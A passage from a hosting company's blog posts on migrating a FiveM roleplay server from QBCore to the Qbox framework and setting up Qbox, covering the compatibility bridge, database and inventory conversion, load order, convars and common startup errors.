| Jobs and gangs | `shared/jobs.lua`, `gangs.lua` | the same files, numeric grade keys |
| Multijob | an external resource | built in, `player_groups` table |
| Multicharacter | `qb-multicharacter` | built into `qbx_core` |
| Target, menus, input | `qb-target`, `qb-menu`, `qb-input` | `ox_target` and `ox_lib` |

The last three rows are where most of your work hides. Qbox also requires `ox_lib` and `oxmysql` to be running first, OneSync on, and a recent FXServer build. The current `qbx_core` manifest lists `/server:10731` as a dependency, which means it will not start on an older artifact - the number moves with releases, so read `fxmanifest.lua` in the version you download, and see [FiveM server updates and artifacts](https://www.renode.space/blog/fivem-server-updates-artifacts) if your server is behind.

#### How the qb-core bridge works, and where it stops

The bridge is a set of files under `qbx_core/bridge/qb/` that rebuild the old `QBCore` object out of Qbox's own functions. Because `qbx_core` declares `provide 'qb-core'` in its manifest, a resource that lists `qb-core` as a dependency is satisfied, and `exports['qb-core']:GetCoreObject()` returns something that looks like the QBCore object. The bridge is on by default and controlled by one convar:

server.cfg:

```cfg
setr qbx:enableBridge "true"
```

Things that keep working through the bridge:

- `QBCore.Functions.GetPlayer(source)` and the player methods hanging off it: `AddMoney`, `RemoveMoney`, `SetJob`, `SetMetaData` and the rest.
- The usual server and client events a job resource listens for, such as `QBCore:Client:OnPlayerLoaded`.
- `QBCore.Shared.Jobs`, `Gangs` and `Vehicles`, read from Qbox's own files.
- The old drawtext exports, `exports['qb-core']:DrawText()` and `HideText()`, now mapped onto `ox_lib` text UI.
- Item functions on the player such as `Player.Functions.AddItem` and `RemoveItem`, which the bridge forwards to `ox_inventory` and translates between the two item formats.

The Qbox documentation describes the framework as about 99% compatible with QB scripts, and for the core object that is fair. Where it stops is anything that reaches past the core:

- **Anything calling `qb-inventory` directly.** `exports['qb-inventory']:...`, the `inventory:server:OpenInventory` event and qb-inventory's stash events have nothing answering them. The bridge's own inventory functions assert that `qb-inventory` is not started and fail with `qb-inventory is not compatible with qbx_core. use ox_inventory instead`.
- **`Player.Functions.SetInventory`** is explicitly unsupported and throws. Scripts that rewrite a whole inventory need changing to clear-then-add.
- **Resources that write SQL against QBCore tables** that no longer mean the same thing - old stash tables, a job column that multijob now shadows, `player_vehicles` rows that a garage resource expects in a particular shape.
- **External multijob and multigang resources.** Qbox has its own, and the documentation warns that unconfirmed ones can corrupt data. Remove them before the first start.
- **`qb-target` exports.** `ox_target` provides compatibility for `qtarget`, not for `qb-target`. A resource calling `exports['qb-target']:AddBoxZone` needs `qb-target` still running or converting to `ox_target`.

The bridge is a migration tool, not a permanent home. Its functions are marked deprecated in the source, and new code should call `exports.qbx_core` and `ox_lib` directly. You can convert one resource at a time, because the bridged and native calls work side by side.

#### Audit the resource list before touching anything

Open `resources/` and sort every folder into three piles. This is an hour with a text file and it decides how long the rest takes.

1. **Works unchanged.** Resources that only use the core object, player money, jobs and events. Most HUDs, simple jobs, shops that sell through `AddItem`, emotes, weather, voice.
2. **Has a Qbox or ox replacement.** Usually the better route than patching. Qbox maintains `qbx_` versions of the commonly used QB resources.
3. **Needs editing or dropping.** Anything that talks to `qb-inventory`, uses `qb-menu` or `qb-input` heavily, or writes its own SQL against inventory and vehicle tables.

The replacements that come up on almost every server:

| QBCore resource | Qbox side | Note |
| --- | --- | --- |
| `qb-inventory` | `ox_inventory` | Required, data must convert |
| `qb-target` | `ox_target` | Zones must be rewritten |
| `qb-menu`, `qb-input` | `ox_lib` | Context menus and input dialogs |
| `qb-doorlock` | `ox_doorlock` | Doors are re-entered |
| `qb-multicharacter` | `qbx_core` | Built in |
| `qb-garages` | `qbx_garages` | Uses `qbx_vehicles` |
| `qb-vehiclekeys` | `qbx_vehiclekeys` | |
| `qb-policejob` | `qbx_police` | |
| `qb-ambulancejob` | `qbx_ambulancejob` | Pairs with `qbx_medical` |

`ox_inventory`'s Qbox integration also asserts that `qbx_vehicles` is running, so add it even if you keep your own garage resource. For paid scripts, check the author's page before assuming anything: many advertise Qbox support through a config switch, and an escrowed script you cannot edit either supports Qbox or it does not. [FiveM escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) covers what you can and cannot change in those.

The fastest way to build pile three is a search. Run this from the `resources/` folder on a copy of the server and read every hit:

```bash
$ grep -rn --include=*.lua -e "qb-inventory" -e "qb-target" -e "SetInventory" .
$ grep -rn --include=*.lua -e "stashitems" -e "trunkitems" -e "gloveboxitems" .
$ grep -rn --include=*.lua -e "QBCore.Shared.Items\[" .
```

The last one matters because some resources add items at runtime by writing into `QBCore.Shared.Items`. Under Qbox, items belong to `ox_inventory`, and those runtime additions do nothing useful.

#### Build the test server first

Do not migrate the live server in place. Build a second server, give it a copy of the database and a copy of `resources/`, and do every step below there first. The general method - what to copy, what must differ, how small it can be - is in [running a test server beside production](https://www.renode.space/blog/running-a-test-server-beside-production). For this migration specifically:

- **A separate database, always.** The test server must point its `mysql_connection_string` at a copy, never at the production schema. The SQL steps below alter tables, and running them against live data by accident is the one mistake that turns an evening into a weekend.
- **A fresh dump of production to seed it.** Use `mysqldump` with `--single-transaction` so you do not lock players out while it runs, as described in [mysqldump backup and restore](https://www.renode.space/blog/mysqldump-backup-and-restore).
- **Close it to the public.** Set `sv_maxclients` low, add a password-style check through your Discord whitelist or simply do not list it, and give it its own hostname so nobody connects to the wrong one.
- **Log in as a real character.** Testing on a fresh character proves nothing about conversion. Pick a few characters with full inventories, weapons, a car with items in the trunk and a job grade above zero, and check every one of them after conversion.

On RE:NODE each server is its own container with its own database slot, so the test server's copy cannot see the production database unless you give it those credentials. Import the dump through "Open in phpMyAdmin" on the test server's database tab, or from the command line with the generated host and user.

#### Database changes Qbox makes

Back up first. Every step in this section is easy to apply and awkward to reverse.

```bash
$ mysqldump --single-transaction --routines -h DB_HOST -u DB_USER -p qbcore \
    > qbcore-before-qbox.sql
```

Then import `qbx_core.sql` from the `qbx_core` release you are installing. Against an existing QBCore database it does three things that matter. It adds a `last_logged_out` column (and in current versions a `userId` column) to `players`. It changes `players` so the table and its key columns use the `utf8mb4_unicode_ci` collation. And it creates `player_groups`, which stores every job and gang a character holds, with a foreign key on `citizenid` back to `players`.

That foreign key is where most migrations stall. A foreign key needs both columns to use the same collation, and plenty of QBCore databases were created with `utf8mb4_general_ci`. If the import fails with a foreign key error, check and fix the collation:

```sql
SELECT TABLE_NAME, COLUMN_NAME, COLLATION_NAME
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA = 'qbcore' AND COLUMN_NAME = 'citizenid';

ALTER TABLE players
  MODIFY citizenid VARCHAR(50) NOT NULL COLLATE utf8mb4_unicode_ci;
```

Run the same `MODIFY` on any other table whose `citizenid` column still reports `utf8mb4_general_ci`, keeping each column's existing type and nullability, then import `qbx_core.sql` again. The reasons collations clash at all are covered in [MySQL utf8mb4 and collations](https://www.renode.space/blog/mysql-utf8mb4-and-collations).

Next, the jobs and gangs. Qbox wants grade keys in `shared/jobs.lua` and `shared/gangs.lua` as numbers, where QBCore used strings:

qbx_core/shared/jobs.lua:

```lua
police = {
    label = 'LSPD',
    defaultDuty = true,
    grades = {
        [0] = { name = 'Recruit', payment = 50 },      -- QBCore had ['0']
        [1] = { name = 'Officer', payment = 75 },
        [4] = { name = 'Chief', isboss = true, payment = 150 },
    },
},
```

Copy your custom jobs and gangs across before the first start, then fill the new table. With the server running, type this in the txAdmin or live console:

```text
convertjobs
```

It copies each character's current job and gang from the `players` table into `player_groups`, it only runs from the server console, and it is safe to run twice. Two convars decide how multijob behaves afterwards: `qbx:max_jobs_per_player` and `qbx:max_gangs_per_player`, both `1` by default.

> [!WARNING]
> The Qbox recipe sets `qbx:cleanPlayerGroups "true"`, which on every start deletes rows in `player_groups` for jobs, gangs or grades missing from your config files. Start once with a job missing from `jobs.lua` and every character's membership of that job is gone. Leave it `false` until your job list is complete and checked.

`player_vehicles` is left alone: `qbx_vehicles` creates it only if it does not exist. `ox_inventory` adds a `trunk` and a `glovebox` column to it, and an `inventory` column to `players` if one is missing, on its first start.

#### Converting qb-inventory to ox_inventory

This is the part that needs the most care, and the part where tutorials disagree most, because the tools changed in 2024. Three separate things move: item definitions, player inventories, and everything else (stashes, trunks, gloveboxes).

##### Item definitions

Paste your QBCore item table into `qbx_core/shared/items.lua`. On the next start the bridge converts every item that `ox_inventory` does not already know into `ox_inventory`'s format and writes them to `qbx_core/converted.lua`, with a console warning telling you how many it added. It skips names that look like weapons, attachments and ammo, because `ox_inventory` has its own weapon definitions. Review the file, copy the entries into `ox_inventory/data/items.lua`, empty `shared/items.lua` again, and restart. A converted entry looks like this:

ox_inventory/data/items.lua:

```lua
['sandwich'] = {
    label = 'Sandwich',
    weight = 200,
    stack = true,
    close = true,
    description = 'Nice bread for your stomach',
    client = {
        status = { hunger = 200000 },
        image = 'sandwich.png',
    },
},
```

Usable items still work through the bridge's `CreateUseableItem`, but the hunger and thirst values from your consumables resource will not apply themselves; check each food item once in game. Copy item images from `qb-inventory/html/images` into `ox_inventory/web/images`, or every converted item shows a blank square.

##### Player inventories

QBCore and `ox_inventory` both store a player's inventory as JSON in `players.inventory`, but the fields differ:

```json
{"name": "water_bottle", "amount": 3, "info": {}, "slot": 1, "type": "item"}
{"name": "water_bottle", "count": 3, "metadata": {}, "slot": 1}
```

The first line is QBCore, the second `ox_inventory`. When `ox_inventory` loads an unconverted character it stops with `Inventory for player.X contains invalid data. Ensure you have converted inventories to the correct format.` Current `ox_inventory` releases ship a `convertinventory` console command, but its only options are `esx` and `esxproperty`; run it with no argument and it prints that list. The QBCore converter was removed in August 2024, and `v2.41.0` is the last release that has `convertinventory qb`. It renamed `amount` to `count` and `info` to `metadata`, turned QBCore cash into the `money` item, and gave weapons a serial and durability from their old `quality`.

The practical routes are to run that old release once on the test server purely to convert, then replace it with a current `ox_inventory`, or to write the same field mapping yourself in SQL or Lua. Either way, compare a handful of characters before and after. Once converted, cash lives in two places that `ox_inventory` keeps in sync: the `money` item and `PlayerData.money.cash`.

##### Stashes, trunks and gloveboxes

This is where data is most often lost. Older `qb-inventory` versions kept these in `stashitems`, `trunkitems` and `gloveboxitems`; the old converter moved trunks and gloveboxes into `player_vehicles` but never handled stashes. Current `qb-inventory` (2.x) stores all of them in one `inventories` table keyed by an `identifier` string, which no official converter reads. Under Qbox, `ox_inventory` stores stashes in its own `ox_inventory` table and trunks and gloveboxes in `player_vehicles`, keyed by the vehicle's `id`.

So decide what is worth keeping. Personal and job stashes usually are, and they need a small script that reads each `inventories` row, converts the items as above and inserts them under the stash name your `ox_inventory` stash definitions use. Many servers decide trunk and glovebox contents are not worth a script and announce they will be emptied. That is a legitimate choice, but make it on purpose and tell players before the switch, not afterwards.

#### Cutover day, in order

Once the test server has run the whole process and survived a session with real testers, the live switch is a checklist:

1. Announce a maintenance window and close the server with txAdmin's whitelist or by stopping it.
2. Take a final `mysqldump` and a panel backup of the server files. Download both.
3. Run the SQL steps, in the order that worked on the test server.
4. Swap `resources/` for the tested folder, and bring across `server.cfg`, `ox.cfg` and `permissions.cfg` from it.
5. Start with the console open. `ensure oxmysql`, `ox_lib`, `qbx_core` and `ox_inventory` must come up before anything that depends on them. [Reading the console](https://www.renode.space/blog/reading-the-console) covers what to look for.
6. Run `convertjobs` and the inventory conversion you rehearsed.
7. Log in as three of the characters you checked on the test server. Open the inventory, a stash and a trunk.
8. Open to players, and watch the console and `resmon` for the first hour.

#### Rollback plan

Write the rollback down before you start, because the moment you need it is the moment you will not think clearly. A migration is reversible only if both halves of the old server still exist untouched.

- **Files.** Keep the old `resources/` folder and `server.cfg` as an archive, not overwritten. Switching back is restoring that folder.
- **Database.** Restore `qbcore-before-qbox.sql` into the database. A forward fix is not a rollback - the converted inventory JSON, the new collation and `player_groups` will not undo themselves.
- **A decision deadline.** Pick the point after which you fix forward instead. Players who have played on Qbox for a day have data a restore would erase. A sensible rule: roll back freely during the maintenance window, and only for data loss after it.

On RE:NODE the panel backup covers files and the dump covers the database, so take both. A backup can be locked against rotation so the pre-migration copy survives your scheduled backups, but [test the restore](https://www.renode.space/blog/testing-a-restore-before-you-need-it) on the test server before you rely on it.

#### Troubleshooting

The errors that come up in nearly every migration:

| Symptom | Cause |
| --- | --- |
| `qb-inventory is not compatible with qbx_core` | `qb-inventory` still started |
| `contains invalid data` on login | Inventory still in QBCore format |
| Foreign key error importing `qbx_core.sql` | `citizenid` collations differ |
| Job grade shows as nil | Grade keys still strings |
| Items show blank squares | Images not copied |
| Players lost their job | `cleanPlayerGroups` on with jobs missing |

Two more are quieter. A resource that silently does nothing usually calls `QBCore.Shared.Items` to check an item exists; replace that lookup with `exports.ox_inventory:Items()`. And duplicate folders - an old `qb-inventory` in a bracketed folder you forgot about - start whichever FXServer finds first, so delete the old one rather than leaving it unensured.

#### FAQ

##### Can I run Qbox without the qb-core bridge?

Yes, set `qbx:enableBridge` to `false`, but only once nothing on the server calls `qb-core` any more. Most servers keep it on for months and convert resources gradually.

##### Do I lose character data moving to Qbox?

Not if you convert properly. Characters, money, metadata, jobs and vehicles stay in the same tables. Inventories, stashes, trunks and gloveboxes are the data at risk, because they change format and tables.

##### Can I keep qb-inventory on Qbox?

No. `qbx_core` refuses to work with `qb-inventory` running, and `ox_inventory` is the only inventory Qbox supports.

##### Will my paid QBCore scripts work on Qbox?

Many do through the bridge, and many authors ship a Qbox option. The ones that break are those that call `qb-inventory` or `qb-target` directly. Check the author's notes and test on the copy.

##### How long does a migration take?

A server with a modest resource list is a weekend of preparation on the test server and a one or two hour maintenance window. Large servers with dozens of inventory-dependent scripts take longer, mostly in rewriting those scripts.

##### Can I go back to QBCore after switching?

Only by restoring the pre-migration database dump and the old `resources/` folder, which erases anything players did after the switch. Decide your rollback cut-off before you start.

FiveM plans on RE:NODE have txAdmin available, a database slot with one-click phpMyAdmin sign-in for the migration SQL, SFTP and an in-browser editor for `resources/`, and backup slots you can lock before a big change. A second small plan makes a test server for the rehearsal, and your Cfx.re licence key stays yours.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### Qbox FiveM server: setup, resources and load order

Published 2026-10-15 by RE:NODE Team. https://www.renode.space/blog/qbox-server-setup-and-resources

The quickest working Qbox server is the official txAdmin recipe: start FXServer, open txAdmin, pick Popular Recipes and then QBox Framework, give it a database, and let it download around sixty resources and import the SQL. Underneath, the whole thing rests on five resources - `qbx_core`, `ox_lib`, `oxmysql`, `ox_inventory` and `ox_target` - and on three requirements people miss: OneSync switched on, a recent FXServer build, and a MariaDB database rather than MySQL. Everything else in this post is how those pieces fit together, where to get the rest of the Qbox resources, the convars that change how the core behaves, and what the console is telling you when it does not start.

If you have not yet decided between frameworks, [ESX vs QBCore vs Qbox](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) is the comparison. This post assumes the decision is made.

#### What Qbox needs before you install anything

Qbox is a fork of QBCore rebuilt on the Overextended (`ox_*`) resources. It is stricter about its environment than QBCore ever was, and most failed first starts are an environment problem, not a Qbox problem.

| Requirement | What Qbox expects |
| --- | --- |
| FXServer build | Recent; `qbx_core` declares a minimum in its manifest |
| OneSync | On - `qbx_core` lists `/onesync` as a dependency |
| Game build | The recipe enforces `3258` at the time of writing |
| Lua | 5.4 (`lua54 'yes'` in every Qbox manifest) |
| Database | MariaDB 10.9 or newer; MySQL is not supported |
| txAdmin | Strongly recommended for the install |

**The server build.** The current `qbx_core` manifest carries a dependency of the form `/server:10731`, which means FXServer refuses to start the resource on anything older. The number moves up as Qbox adopts newer natives, so read the manifest of the release you downloaded rather than trusting a number from a forum post, including this one. If you are behind, [updating FiveM server artifacts](https://www.renode.space/blog/fivem-server-updates-artifacts) covers how to move to a newer build without breaking everything else.

**OneSync.** Qbox does not run without it. Depending on your txAdmin version it is either a setting on txAdmin's FXServer settings page or a `set onesync on` line in `server.cfg`; the Qbox recipe's `server.cfg` does not write one, so check which applies to yours. The [OneSync and player slots](https://www.renode.space/blog/fivem-onesync-and-player-slots) post explains what it actually changes and why every modern framework depends on it.

**MariaDB, not MySQL.** This is the one that surprises people. The Qbox installation guide is blunt: MariaDB 10.9.0 is the minimum, a current LTS release is recommended, MySQL is not supported, and XAMPP should never be used. `oxmysql` will happily connect to either engine, so a MySQL server will usually get you through the first start - the trouble comes later, in SQL that relies on MariaDB behaviour, in collation mismatches between tables, and in the fact that nobody in the Qbox support channels will help you debug it. If you are on a hosted database and do not know which engine it is, run `SELECT VERSION();` in phpMyAdmin. A MariaDB server says so in the version string; a bare number such as `8.4.x` is MySQL.

#### Installing with the txAdmin recipe

The recipe is a YAML file that txAdmin runs top to bottom: it downloads repositories, unpacks them into folders, writes the config files and imports SQL. The Qbox one is maintained by the Qbox project and appears under Popular Recipes on a current txAdmin.

1. Start FXServer with an empty data folder. txAdmin opens and gives you a PIN to link your Cfx.re account.
2. Choose Popular Recipes, then QBox Framework.
3. Paste your Cfx.re licence key when asked. The key is yours, generated on the Cfx.re portal - see [FiveM server and txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin) for where it comes from.
4. Enter the database details. txAdmin builds a connection string from them and runs every SQL file in the recipe against that database.
5. Let it finish, review the generated `server.cfg` in the editor txAdmin shows you, and start the server.

The recipe downloads a lot. At the time of writing it lays out resources like this:

```text
resources/
  [ox]/          ox_lib, oxmysql, ox_target, ox_inventory, ox_doorlock, ox_fuel
  [qbx]/         qbx_core, qbx_spawn, qbx_garages, qbx_police, qbx_ambulancejob...
  [standalone]/  cfx defaults, illenium-appearance, Renewed-Banking, loadscreen...
  [voice]/       pma-voice, mm_radio
  [npwd]/        npwd (phone), qbx_npwd
  [npwd-apps]/   phone apps
  [assets]/      map assets
```

It also writes five config files to the server root: `server.cfg`, `permissions.cfg`, `ox.cfg`, `voice.cfg` and `misc.cfg`. Splitting them is deliberate - `server.cfg` stays readable, and the long list of `ox_inventory` and `ox_target` settings lives in `ox.cfg`.

The SQL it imports is several files, not one: a base `qbox.sql`, then `qbx_core.sql`, then the vehicle, vehicle shop, vehicle sales, weed, lap race and drug tables, and the phone's own import. That matters if you ever rebuild by hand, because skipping one leaves a resource that starts cleanly and then throws `ER_NO_SUCH_TABLE` the first time somebody uses it.

> [!WARNING]
> A failed recipe run with "Response code 403 (rate limit exceeded)" is GitHub refusing the downloads, not a Qbox fault. The recipe pulls dozens of repositories in a few seconds, and an unauthenticated address hits GitHub's limit easily. Wait an hour and run it again; do not keep retrying in a loop, which only extends the wait.

Treat the recipe as a starting point. It installs jobs, robberies and a phone you may not want, and every one of them is something to update and something that can break. A common and sensible move is to let the recipe build a server, play on it for an evening to see what Qbox looks like when it works, and then cut the `[qbx]` folder down to what your server is actually about.

#### The core resources and what each one does

Five resources carry the framework. Everything else is optional; these are not.

**`qbx_core`** is the framework itself: players and characters, money, jobs and gangs (with built-in multijob), the connection queue, the character selection screen, and the compatibility bridge that answers to `qb-core`. Its configuration is under `qbx_core/config/` (`client.lua`, `server.lua`, `shared.lua`), and its game data - jobs, gangs, vehicles, weapons - is in `qbx_core/shared/`. Unlike QBCore, Qbox has no core object. You call exports directly:

server side, written for Qbox:

```lua
local player = exports.qbx_core:GetPlayer(source)
if not player then return end
player.Functions.AddMoney('bank', 500, 'weekly-wage')
```

**`oxmysql`** is the database bridge. It reads `mysql_connection_string` and gives every other resource its query functions. [FiveM databases and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql) has the connection string, the import and the slow-query work, so it is not repeated here.

**`ox_lib`** is the shared library: callbacks, notifications, menus, progress bars, zones, locales. Almost every Qbox resource loads it with `'@ox_lib/init.lua'` in its manifest. Notifications in Qbox go through `ox_lib`, which is why swapping in your own notification resource means editing `ox_lib` rather than `qbx_core`.

**`ox_inventory`** replaces the slot inventory QBCore shipped. Items are defined in `ox_inventory/data/items.lua`, shops and stashes are data files beside it, and the item images live in `ox_inventory/web/images`. It must be told which framework it is running under, through `setr inventory:framework "qbx"` - the recipe's `ox.cfg` sets this, and a hand-built server that forgets it gets an inventory that cannot find any players.

**`ox_target`** is the third-eye interaction system: hold a key, look at a thing, get options. Most Qbox jobs register their interactions with it, so a server without it has police and mechanics who cannot do anything.

Around those five, the recipe adds the pieces a roleplay server assumes exist: `qbx_spawn` for spawn selection, `qbx_vehicles` and `qbx_garages` for owned cars, `qbx_vehiclekeys`, `qbx_medical` and `qbx_ambulancejob`, `qbx_police`, `illenium-appearance` for clothing, `Renewed-Banking`, and `pma-voice` for proximity voice.

#### Where to find Qbox resources

Everything official lives in the Qbox-project organisation on GitHub, and every official resource is named with the `qbx_` prefix. The documentation site at `docs.qbox.re` has a page per core resource with its exports, events and convars.

Three rules save most of the trouble:

- **Download releases, not the green Code button.** `ox_lib` and `ox_inventory` have web interfaces written in a frontend framework, and the source tree does not contain the built files. A release zip does. A server running `ox_inventory` from a source download prints a warning that the UI has not been built, and players open an inventory that is not there. The Qbox docs also recommend running only released versions of their own resources for stability.
- **Version numbers below 1.0.0 mean beta.** Qbox says so directly. They are usable, but expect breaking changes between minor versions.
- **Archived repositories are finished, not abandoned.** A few older Qbox resources were archived when their job moved elsewhere - usually into `qbx_core` or an `ox_*` resource. If a guide tells you to install a resource whose repository is archived, check what replaced it before installing it.

Third-party resources fall into three groups. Resources written for Qbox work as you would expect. Resources written for the Overextended stack (`ox_*` aware) usually work, since Qbox is built on it. Resources written for QBCore run through the bridge - covered in the next section - with real limits.

When you find a resource, read its `fxmanifest.lua` before you install it: the `dependencies` block tells you what it needs, `lua54 'yes'` tells you it is current, and anything calling `os.execute` or sending HTTP requests to an unknown domain is a reason to stop. [Keeping a modded server clean](https://www.renode.space/blog/keeping-a-modded-server-clean) is the longer argument for doing that every time.

#### Ensure order and how the recipe starts things

Here is the start sequence the Qbox recipe writes, with its comments trimmed:

server.cfg - from the Qbox recipe:

```cfg
exec voice.cfg
exec ox.cfg

ensure mapmanager
ensure chat
ensure spawnmanager
ensure baseevents
ensure ox_lib
ensure qbx_core
ensure ox_target
ensure [ox]
ensure [qbx]
ensure [standalone]
ensure [voice]
ensure [assets]
ensure [npwd-apps]
ensure qbx_npwd
ensure npwd

exec permissions.cfg
exec misc.cfg
```

Two things in it look wrong and are not.

First, `oxmysql` is never named before `qbx_core`. It does not need to be, because `qbx_core` declares `oxmysql` and `ox_lib` in its manifest's `dependencies`, and FXServer starts a resource's dependencies before the resource itself. The explicit `ensure ox_lib` is there for clarity; the dependency mechanism would have done it anyway. This is also why a missing `oxmysql` folder fails loudly at `qbx_core` rather than silently later.

Second, `ensure [ox]` runs after `qbx_core` even though `ox_inventory` is in that folder. That is correct: `ox_inventory` running under Qbox wants the core already up so it can read players and their items. An `ensure` of a bracketed folder starts every resource inside it, in no order you should rely on, so anything with a strict order is named on its own line before the folder.

```diagram
title: How a Qbox server comes up
cfg = server.cfg | exec ox.cfg first
lib = ox_lib | shared library
db = oxmysql | started as a dependency
core = qbx_core | players, jobs, bridge
ox = [ox] folder | inventory, target, doors
qbx = [qbx] folder | jobs and features
cfg -> lib
lib -> core
db -> core : dependency
core -> ox
ox -> qbx
```

The rules for your own additions follow from that. A resource that uses Qbox exports goes after `qbx_core`. A resource that uses `ox_inventory` items goes after `[ox]`. If you put your own resources in a folder such as `[custom]`, add `ensure [custom]` at the end of the list, after `[qbx]`. And the `exec ox.cfg` line has to come before the `ensure` lines, because `setr` values are read when a resource starts - a convar set after its resource is running does nothing until the next restart. Every directive in the file is explained in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

#### The qbx_core convars

Qbox moved a lot of what used to be Lua config into convars, so the behaviour of the core is changed in `server.cfg` rather than by editing files that the next update overwrites. These are the documented ones, with their defaults:

| Convar | Default | What it does |
| --- | --- | --- |
| `qbx:enableBridge` | `true` | The `qb-core` compatibility bridge |
| `qbx:enableQueue` | `true` | The built-in connection queue |
| `qbx:max_jobs_per_player` | `1` | Jobs one character can hold |
| `qbx:max_gangs_per_player` | `1` | Gangs one character can hold |
| `qbx:setjob_replaces` | `true` | `/setjob` replaces rather than adds |
| `qbx:setgang_replaces` | `true` | `/setgang` replaces rather than adds |
| `qbx:cleanPlayerGroups` | `true` | Drops invalid jobs from `player_groups` at start |
| `qbx:enableVehiclePersistence` | `false` | Respawns owned cars the server deleted |
| `qbx:vehiclePersistenceType` | `semi` | `full` also restores them after a restart |
| `qbx:bucketLockdownMode` | `inactive` | Entity lockdown for bucket 0 |
| `qbx:acknowledge` | `false` | `true` hides the docs notice in the console |

A few deserve a sentence each.

**Multijob.** Raising `qbx:max_jobs_per_player` to `3` and setting `qbx:setjob_replaces` to `false` gives you multijob with no extra resource: `/setjob` adds a job instead of overwriting the current one, and the player switches between them. This is the single most common reason people used to install a separate multijob script on QBCore.

**`cleanPlayerGroups`.** On start, the core removes rows from `player_groups` that point to jobs or gangs no longer defined in `qbx_core/shared/`. That is what you want after deleting a job - and a nasty surprise if you renamed a job in `jobs.lua` and expected everyone to keep it. Rename by adding the new job, moving people across, then removing the old one.

**Vehicle persistence.** FiveM occasionally deletes entities it should not, and an owned car vanishing mid-drive is the result players notice. `qbx:enableVehiclePersistence` respawns it with its properties. The recipe writes it with `setr` rather than `set`, as it does `qbx:enableBridge`, because the client side reads them too. Keep the same verb when you change them.

**`bucketLockdownMode`.** `relaxed` and `strict` stop clients from creating networked entities in the default routing bucket, which is the main route for spawn-spamming cheats. `strict` breaks any resource that spawns entities from the client, so test it on a staging copy first.

Remember the `set` versus `sets` rule from every other FiveM guide: `sets` publishes the value to the server list. None of these values is secret, but the habit of writing `set` matters for the one line that is - `mysql_connection_string`.

#### QBCore resources on Qbox: the bridge

With `qbx:enableBridge` on, `qbx_core` declares `provide 'qb-core'`, so a resource that lists `qb-core` as a dependency is satisfied, and `exports['qb-core']:GetCoreObject()` returns an object that behaves like QBCore's. Most well-written QBCore resources run unchanged.

What does not survive the bridge:

- **Direct table access.** A resource that writes to QBCore's `players` columns itself, instead of using player functions, bypasses Qbox and may write to columns that are now structured differently.
- **Inventory code.** Anything that calls `qb-inventory` exports or expects QBCore's item format needs its inventory calls rewritten for `ox_inventory`.
- **Non-public internals.** Resources that read files out of `qb-core/` directly, or rely on behaviour QBCore never documented, break in ways that are tedious to trace.
- **Multijob scripts with their own tables.** They conflict with the built-in multijob; the Qbox docs say they can work only if they go through `qbx_core` exports.

Items are the one place where the bridge goes both ways. An item added to `qbx_core/shared/items.lua` is passed through to `ox_inventory` automatically, which keeps bridged QBCore resources happy. But item behaviour that needs client or server exports - using an item, for example - still has to be written into `ox_inventory/data/items.lua` by hand. For a new item that only Qbox-aware resources use, define it in `ox_inventory` directly and skip `items.lua` altogether.

#### Admins and permissions

The recipe's `permissions.cfg` holds the ACE setup. txAdmin writes your own identifier into it as the master admin during the install, as a line of the form `add_principal identifier.fivem:1234567 group.admin`. Qbox's admin commands - `/setjob`, `/setgang` and the rest - are restricted commands checked against ACE groups, so everyone who should use them needs a principal line. The file is read when `server.cfg` executes it, so after editing it, restart the server or run `exec permissions.cfg` in the live console.

Keep the admin list in `permissions.cfg` and nowhere else. A permission granted from inside a resource's Lua is invisible when you audit the file, and it is exactly what a backdoored resource does. [Discord permissions and whitelists for FiveM](https://www.renode.space/blog/fivem-discord-permissions-and-whitelist) covers tying these groups to Discord roles instead of typing identifiers.

#### Common startup errors and what they mean

Read the console from the top, not the bottom. The first red line is usually the cause, and the fifty after it are resources failing because the first one did. [Reading the console](https://www.renode.space/blog/reading-the-console) is the general method.

**`qbx_core` refuses to start with an unsatisfied dependency on `/onesync` or `/server:`.** OneSync is off, or the FXServer build is older than the manifest asks for. Turn OneSync on in txAdmin's settings, or update the artifacts. No amount of editing `qbx_core` fixes this.

**"No such export GetCoreObject in resource qbx_core".** A QBCore resource is asking `qbx_core` for the core object, which Qbox does not have. The fix is in the resource: it should call `exports['qb-core']:GetCoreObject()`, which the bridge answers. Also check the bridge is not switched off.

**"This resource is still using the deprecated qbx_core utils".** A warning, not an error. The named resource is an old release; download its latest version.

**Players stuck on the loading screen.** On a stock install this is nearly always the character selection never closing the loading screen, typically after replacing the built-in multicharacter. Either set `loadscreen:externalShutdown` to `false` in `server.cfg` or have your character resource call `ShutdownLoadingScreen()` and `ShutdownLoadingScreenNui()`. If you did not replace anything, look further up the console for a resource that failed to start - `qbx_spawn` or `oxmysql` failing produces the same symptom.

**"Can't create table ... (Foreign Key Constraint is incorrectly formed)".** A collation mismatch between the table being created and the one it references - common when SQL from different resources was written with different defaults, and more common still on MySQL. Qbox's fix is to end the `CREATE TABLE` statements with an explicit character set and collation, then drop and re-create the table:

```sql
CREATE TABLE IF NOT EXISTS example_table (
  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
  citizenid VARCHAR(50) NOT NULL
) DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
```

**"SCRIPT ERROR: failed to load model".** A model did not load within the timeout, usually on a slow client. If the error comes from `qbx_core`, raise `loadingModelsTimeout` in `qbx_core/config/client.lua`.

**Inventory opens empty or not at all.** Either `ox_inventory` is a source download without its built UI, or `inventory:framework` is not set to `qbx` because `ox.cfg` was never executed. Check for `exec ox.cfg` above the `ensure` lines.

**`ER_NO_SUCH_TABLE` from one feature.** One of the recipe's SQL files was not imported. Find the resource's `.sql` file and import it through phpMyAdmin - the [phpMyAdmin import guide](https://www.renode.space/blog/phpmyadmin-import-export-guide) covers large files - after reading its first lines for any `DROP TABLE`.

#### Running Qbox on a hosted server

On RE:NODE, a FiveM server has txAdmin available, so the recipe flow above works as written: the server starts into txAdmin, you link your Cfx.re account and paste your own licence key. The plan includes a database slot created from the panel with a generated host, user and password, and an Open in phpMyAdmin button that signs you in with a one-use token. The panel does not name the engine behind that slot, so run `SELECT VERSION();` before you commit to Qbox, and if it is not MariaDB, decide with your eyes open whether you can live with an unsupported database.

